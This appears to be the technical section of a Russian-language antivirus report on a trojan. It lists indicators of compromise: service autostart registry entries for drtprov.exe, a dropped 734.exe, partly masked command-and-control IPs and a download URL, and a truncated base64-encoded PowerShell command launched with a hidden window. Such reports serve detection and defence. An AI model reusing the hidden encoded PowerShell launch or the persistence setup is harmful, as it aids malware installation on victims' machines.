Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\drtprov] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\drtprov] 'ImagePath' = '"%WINDIR%\SysWOW64\termmgr\drtprov.exe"'
- 'drtprov' "%WINDIR%\SysWOW64\termmgr\drtprov.exe"
- 'drtprov' %WINDIR%\SysWOW64\termmgr\drtprov.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB3AGUAYwB3AGkAYQBjAGgAcgBpAHoAPQAnAHMAYQBlAHAAYwBhAHoAdwBhAHUAZwBxAHUAdQBhAHkAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBgAFUAUgBpAHQAWQBQAH...
- %HOMEPATH%\734.exe
- %WINDIR%\syswow64\termmgr\drtprov.exe
- %HOMEPATH%\734.exe в %WINDIR%\syswow64\termmgr\drtprov.exe
- '14#.#39.91.187':443
- http://de###ture.world/wp-content/V4GFFNihI/
- http://14#.##9.91.187:443/lKysAP1LYXHi3/c523Qdm1gGKcW/MuY7vPlpagveeqPjyf/4A0gRUT/ via 14#.#39.91.187
- DNS ASK de###ture.world
- '%HOMEPATH%\734.exe'
- '%WINDIR%\syswow64\termmgr\drtprov.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB3AGUAYwB3AGkAYQBjAGgAcgBpAHoAPQAnAHMAYQBlAHAAYwBhAHoAdwBhAHUAZwBxAHUAdQBhAHkAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBgAFUAUgBpAHQAWQBQAH...' (со скрытым окном)